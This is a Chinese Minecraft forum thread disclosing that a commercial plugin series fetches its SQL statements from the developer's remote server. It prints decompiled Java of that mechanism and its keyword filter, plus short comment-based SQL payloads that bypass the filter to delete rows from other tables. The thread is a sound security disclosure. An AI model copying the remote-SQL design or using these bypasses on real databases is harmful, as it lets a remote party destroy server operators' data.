帖子

Memorial Edition

查看: 297|回复: 8

知名Minecraft插件 米饭Minecraft插件被曝后门

[复制链接]

Lv.2 采石匠

人气
10 点
金粒
28 粒
宝石
0 颗
爱心
0 颗
钻石
1 颗
贡献
0 点
发表于 3 天前 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
我们发现了 米饭系列 插件的 数据库后门,我们在此呼吁保护 服务器数据库安全,不要使用 米饭系列 插件。其插件在处理数据库时,所有的SQL指令均为 米饭验证服务器 提供。如果米饭将服务器提供的值改为 DELETE * 你们应该都知道后果的。https://www.minebbs.com/threads/ ... n-ku-hou-men.35422/

最新信报:
PlayerWarp也有PlayerTask也有PlayerTitle也有




b6a1024f2bbe30a87e01d4dc0f837ebb.webp
c211a73d546fbb884ce4df9cbb24f08d.webp
2290b5f0778bed5f9457306c8e2da500.webp
28b4da7a569d25777710830d779a8ba5.webp
53e272895934851341ce8266c876004c.webp
5214ef1729c9a7d820ed1a048e37a700.webp

Lv.2 采石匠

人气
10 点
金粒
28 粒
宝石
0 颗
爱心
0 颗
钻石
1 颗
贡献
0 点
 楼主| 发表于 3 天前 | 显示全部楼层
官方对此事件的回复是为防止盗版插件 但是此理由过于牵强 SQL语句的操作空间巨大 即使是为了反盗版也不应用这种手段 Image_35388746736601.webp
回复

使用道具 举报

男同大王

人气
17 点
金粒
265 粒
宝石
0 颗
爱心
1 颗
钻石
118 颗
贡献
0 点
发表于 3 天前 | 显示全部楼层
本帖最后由 huzpsb 于 2025-3-31 00:26 编辑

关于米饭插件存在远程SQL指令下发的个人观点
(个人观点/利益无关)

首先,非常遗憾的是,米饭的远程SQL指令下发确实是刻意的不安全行为。换言之,如果米饭希望,他确实可以远程删除你的数据库。

但是,至少在我看来,米饭并没有主观恶意....理由如下:

首先,米饭提供了SQLite...并且在相当多的情况下,这是默认的存储方式。可以预见的是,米饭自己知道大多数用户的存储方式是SQLite...即使是MySQL,绝大多数使用者即使懒到使用宝塔等方案,也不会发生数据库账号越权问题...

其次,米饭确实没有写远程代码加载。从某种意义上说,远程下拉一个shell并执行比当前方案(远程下发SQL指令)更好编写...这确实可以视为一种对保证安全性的努力...

最后...也是最重要的一点...即使插件删除自身的数据库,插件及插件生成的文件的知识版权也本应归米饭所有;他并没有删除自己没有知识产权的文件...这并不是一件那么值得指责的事情...

当然,数据删除是一件非常膈应人的事。但是专有软件确实可以进行类似的操作;哪怕是通过删除数据库以外的方法。举例而言,可以引入一种私有的文件格式,这种文件格式不能被其他任何软件打开。这和删除数据库的差异其实没有那么大。


如果你问我,是否会继续使用米饭的插件....我就从来没有用过米饭的插件....我在选择插件时会直接排除所有不开源的(

此外,米饭的插件虽然确实有经过混淆,但是也符合由md_5规定的弱混淆标准。参考文献:
https://www.spigotmc.org/threads/approved-obfuscators.420746/ ;我们也大可以不必急着对米饭定性,等一手SpigotMC的判决...
我会把事情捅过去的 : )

如果SpigotMC封禁了米饭,那就追着封吧...如果没有的话,我提议,将所有存在网络行为的而不是混淆了的插件进行特殊标示;用户在了解风险后,可自行选择是否使用此类插件。

以上
Authored & signed, huzpsb(aka Venti)

回复

使用道具 举报

Lv.9 牧场主

人气
746 点
金粒
10657 粒
宝石
16 颗
爱心
11 颗
钻石
2447 颗
贡献
8 点

Java正版勋章Windows 10正版勋章石镐矿工勋章铁镐矿工勋章钻镐矿工勋章小麦种勋章苹果树勋章新人勋章

发表于 3 天前 | 显示全部楼层
1743345356279.webp

代码中已存在强校验, 不存在 DELETE *或者操作到其他数据库表的情况
1. 强校验禁止了DELETE * 不存在删除数据可能
2. 禁止了各种清空数据或者删除表的关键字存在
3. 禁止了操作非本插件以外表的sql
请反编译查看最新代码来判断
回复

使用道具 举报

男同大王

人气
17 点
金粒
265 粒
宝石
0 颗
爱心
1 颗
钻石
118 颗
贡献
0 点
发表于 前天 00:03 | 显示全部楼层
本帖最后由 huzpsb 于 2025-3-31 00:21 编辑
ヽ米饭 发表于 2025-3-30 23:20
代码中已存在强校验, 不存在 DELETE *或者操作到其他数据库表的情况
1. 强校验禁止了DELETE * 不存在删除 ...



非常遗憾,但是您的拦截在我看来不够完备。举例而言,烦请您考虑以下代码:
  1. DELETE/**/*
复制代码



点评

3. 禁止了操作非本插件以外表的sql 你可以试试,绝对是报错的  详情 回复 发表于 前天 08:00
回复

使用道具 举报

Lv.9 牧场主

人气
746 点
金粒
10657 粒
宝石
16 颗
爱心
11 颗
钻石
2447 颗
贡献
8 点

Java正版勋章Windows 10正版勋章石镐矿工勋章铁镐矿工勋章钻镐矿工勋章小麦种勋章苹果树勋章新人勋章

发表于 前天 08:00 | 显示全部楼层
huzpsb 发表于 2025-3-31 00:03
非常遗憾,但是您的拦截在我看来不够完备。举例而言,烦请您考虑以下代码:

3. 禁止了操作非本插件以外表的sql

你可以试试,绝对是报错的

点评

请允许我附上我看到的源代码。 在注释中包含表命应该并不是什么复杂的操作。假设您的插件使用了一张名为bob的表,以下代码即可删除alice表中的全部项目: 不妨让我们试一试。 [attachimg]7106[/attachimg] 如果我  详情 回复 发表于 前天 13:49
回复

使用道具 举报

男同大王

人气
17 点
金粒
265 粒
宝石
0 颗
爱心
1 颗
钻石
118 颗
贡献
0 点
发表于 前天 13:49 | 显示全部楼层
ヽ米饭 发表于 2025-3-31 08:00
3. 禁止了操作非本插件以外表的sql

你可以试试,绝对是报错的

请允许我附上我看到的源代码。

  1. // Decompiled with: Procyon 0.6.0
  2. // Class Version: 8
  3. // HsDeob [Allatori, NoOiI, Remap(manual)]
  4. // 2025/3/31 13:38

  5. package cn.handyplus.warp.lib;

  6. import cn.handyplus.warp.lib.expand.VerifySignReq;
  7. import java.util.Iterator;
  8. import java.util.HashMap;
  9. import cn.handyplus.warp.lib.expand.DbSqlReq;
  10. import cn.handyplus.warp.lib.expand.PluginDbReq;
  11. import java.util.Map;

  12. public class DbHttpUtil
  13. {
  14.     public static String DB_URL;
  15.     public static final Map SQL_CACHE_MAP;
  16.    
  17.     public static String selectCountSql(final DbSql dbSql, final String dbField) {
  18.         final PluginDbReq requestSign;
  19.         (requestSign = requestSign()).setDbSql(doQuery(dbSql));
  20.         requestSign.setDbType("selectCountSql");
  21.         requestSign.setDbField(dbField);
  22.         return requestFromCloud(requestSign);
  23.     }
  24.    
  25.     private static String requestFromCloud(final PluginDbReq pluginDbReq) {
  26.         try {
  27.             if (SignUtil.checkSign() && SignConstants.COMMAND_PERMISSION) {
  28.                 return "select 1";
  29.             }
  30.             final String json;
  31.             final String md5Str = SecureUtil.md5Str(json = JsonUtil.toJson(pluginDbReq));
  32.             final String s;
  33.             if (StrUtil.isNotEmpty(s = DbHttpUtil.SQL_CACHE_MAP.get(md5Str))) {
  34.                 MessageUtil.sendConsoleDebugMessage(new StringBuilder().insert(0, "命中缓存:").append(md5Str).toString());
  35.                 return s;
  36.             }
  37.             final String post = HttpUtil.post(DbHttpUtil.DB_URL, json);
  38.             if (!"select 1".equalsIgnoreCase(post)) {
  39.                 DbHttpUtil.SQL_CACHE_MAP.put(md5Str, post);
  40.             }
  41.             sanitize(post);
  42.             return post;
  43.         }
  44.         catch (final Throwable t) {
  45.             throw t;
  46.         }
  47.     }
  48.    
  49.     private static DbSqlReq doQuery(final DbSql dbSql) {
  50.         // 疑似链式语句被javac -O展开
  51.         final DbSqlReq dbSqlReq5;
  52.         final DbSqlReq dbSqlReq4;
  53.         final DbSqlReq dbSqlReq3;
  54.         final DbSqlReq dbSqlReq2;
  55.         final DbSqlReq dbSqlReq = dbSqlReq2 = (dbSqlReq3 = (dbSqlReq4 = (dbSqlReq5 = new DbSqlReq())));
  56.         dbSqlReq2.setTableName(dbSql.getTableName());
  57.         dbSqlReq2.setFieldInfoMapSize(dbSql.getFieldInfoMap().size());
  58.         dbSqlReq.setWhere(dbSql.getWhere());
  59.         dbSqlReq3.setUpdatefieldList(dbSql.getUpdatefieldList());
  60.         dbSqlReq3.setLimit(dbSql.getLimit());
  61.         dbSqlReq4.setOrder(dbSql.getOrder());
  62.         dbSqlReq5.setGroup(dbSql.getGroup());
  63.         dbSqlReq5.setField(dbSql.getField());
  64.         return dbSqlReq5;
  65.     }
  66.    
  67.     public static String deleteDataSql(final DbSql dbSql) {
  68.         final PluginDbReq requestSign = requestSign();
  69.         requestSign.setDbSql(doQuery(dbSql));
  70.         requestSign.setDbType("deleteDataSql");
  71.         return requestFromCloud(requestSign);
  72.     }
  73.    
  74.     static {
  75.         DbHttpUtil.DB_URL = "https://admin.ljxmc.top/api/public/db/sql";
  76.         SQL_CACHE_MAP = new HashMap();
  77.     }
  78.    
  79.     public static String insertDataSql(final DbSql dbSql) {
  80.         final PluginDbReq requestSign = requestSign();
  81.         requestSign.setDbSql(doQuery(dbSql));
  82.         requestSign.setDbType("insertDataSql");
  83.         return requestFromCloud(requestSign);
  84.     }
  85.    
  86.     public static String selectDataSql(final DbSql dbSql) {
  87.         final PluginDbReq requestSign = requestSign();
  88.         requestSign.setDbSql(doQuery(dbSql));
  89.         requestSign.setDbType("selectDataSql");
  90.         return requestFromCloud(requestSign);
  91.     }
  92.    
  93.     private static void sanitize(String string) {
  94.         boolean bl;
  95.         block5: {
  96.             if ("DELETE *".equalsIgnoreCase(string)) {
  97.                 throw new RuntimeException("异常sql! 出现delete *");
  98.             }
  99.             if (string.toUpperCase().contains("TRUNCATE")) {
  100.                 throw new RuntimeException("异常sql! 出现 TRUNCATE");
  101.             }
  102.             if (string.toUpperCase().contains("DROP")) {
  103.                 throw new RuntimeException("异常sql! 出现 DROP");
  104.             }
  105.             boolean bl2 = false;
  106.             MessageUtil.sendConsoleDebugMessage(new StringBuilder().insert(0, "本系统表名:").append(JsonUtil.toJson(DbConstant.TABLE_NAME_LIST)).toString());
  107.             for (String string2 : DbConstant.TABLE_NAME_LIST) {
  108.                 if (!string.contains(string2)) continue;
  109.                 bl = bl2 = true;
  110.                 break block5;
  111.             }
  112.             bl = bl2;
  113.         }
  114.         if (!bl) {
  115.             throw new RuntimeException(new StringBuilder().insert(0, "异常sql! 不是本插件sql:").append(string).toString());
  116.         }
  117.     }
  118.    
  119.     public static String updateDataSql(final DbSql dbSql) {
  120.         final PluginDbReq requestSign = requestSign();
  121.         requestSign.setDbSql(doQuery(dbSql));
  122.         requestSign.setDbType("updateDataSql");
  123.         return requestFromCloud(requestSign);
  124.     }
  125.    
  126.     private static PluginDbReq requestSign() {
  127.         final PluginDbReq pluginDbReq = new PluginDbReq();
  128.         if (InitApi.PLUGIN == null) {
  129.             return pluginDbReq;
  130.         }
  131.         final VerifySignReq signReq = SignUtil.getSignReq();
  132.         final PluginDbReq pluginDbReq2 = pluginDbReq;
  133.         final VerifySignReq verifySignReq = signReq;
  134.         final PluginDbReq pluginDbReq3 = pluginDbReq;
  135.         final PluginDbReq pluginDbReq4 = pluginDbReq;
  136.         final VerifySignReq verifySignReq2 = signReq;
  137.         final VerifySignReq verifySignReq3 = signReq;
  138.         final PluginDbReq pluginDbReq5 = pluginDbReq;
  139.         final PluginDbReq pluginDbReq6 = pluginDbReq;
  140.         final VerifySignReq verifySignReq4 = signReq;
  141.         pluginDbReq.setPluginName(signReq.getPluginName());
  142.         pluginDbReq6.setVersion(verifySignReq4.getVersion());
  143.         pluginDbReq5.setSecretKey(verifySignReq4.getSecretKey());
  144.         pluginDbReq5.setSign(verifySignReq3.getSign());
  145.         pluginDbReq4.setPort(verifySignReq2.getPort());
  146.         pluginDbReq3.setMac(verifySignReq2.getMac());
  147.         pluginDbReq2.setIp(verifySignReq.getIp());
  148.         pluginDbReq3.setSignVersion(SignVersionEnum.ONE.getVersion());
  149.         return pluginDbReq2;
  150.     }
  151. }
复制代码
在注释中包含表命应该并不是什么复杂的操作。假设您的插件使用了一张名为bob的表,以下代码即可删除alice表中的全部项目:
  1. DELETE/*bob*/FROM alice;
复制代码

不妨让我们试一试。
image.webp
如果我对字节码的处理有误,还烦请指出。感谢!

回复

使用道具 举报

Lv.9 牧场主

人气
746 点
金粒
10657 粒
宝石
16 颗
爱心
11 颗
钻石
2447 颗
贡献
8 点

Java正版勋章Windows 10正版勋章石镐矿工勋章铁镐矿工勋章钻镐矿工勋章小麦种勋章苹果树勋章新人勋章

发表于 前天 14:15 | 显示全部楼层
huzpsb 发表于 2025-3-31 13:49
请允许我附上我看到的源代码。

在注释中包含表命应该并不是什么复杂的操作。假设您的插件使用了一张名为 ...

sql中间据我所知是不能包含注释的,jdbc直接就报错了 如果我浅薄的知识记错了,那么就你对

不过你如果对还对安全有疑问,我可以给你3个解决办法
1. 使用sqlite 开启每日备份
2. 使用mysql单独一个库 开启每日备份
3. 改用其他插件,我并没有强迫任何人使用我插件

点评

:/ https://www.w3ccoo.com/sql/sql_comments.html https://dev.mysql.com/doc/refman/8.0/en/comments.html  详情 回复 发表于 前天 14:46
回复

使用道具 举报

男同大王

人气
17 点
金粒
265 粒
宝石
0 颗
爱心
1 颗
钻石
118 颗
贡献
0 点
发表于 前天 14:46 | 显示全部楼层
本帖最后由 huzpsb 于 2025-3-31 14:47 编辑
ヽ米饭 发表于 2025-3-31 14:15
sql中间据我所知是不能包含注释的,jdbc直接就报错了 如果我浅薄的知识记错了,那么就你对

不过你如果对还 ...

:/
https://www.w3ccoo.com/sql/sql_comments.html
https://dev.mysql.com/doc/refman/8.0/en/comments.html

我理解并认同您希望保护您的插件不被盗版;
我的建议是您本地校验一下语句的哈希,例如sha256...
哈希算法是无法反推原文的;因此这也不会损害您的保护强度。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

朋友的可贵,就在于自由。

Archiver|小黑屋| MCBBS纪念版 ( 新ICP备2024014954号|兵公网安备66010002000149号 )|隐私政策| 手机版

GMT+8, 2025-4-2 04:12 , Processed in 0.144674 second(s), 37 queries , Redis On.

"Minecraft"以及"我的世界"为美国微软公司的商标 本站与微软公司没有从属关系

© 2010-2025 MCBBS纪念版 版权所有 本站内原创内容版权属于其原创作者,除作者或版规特别声明外未经许可不得转载

返回顶部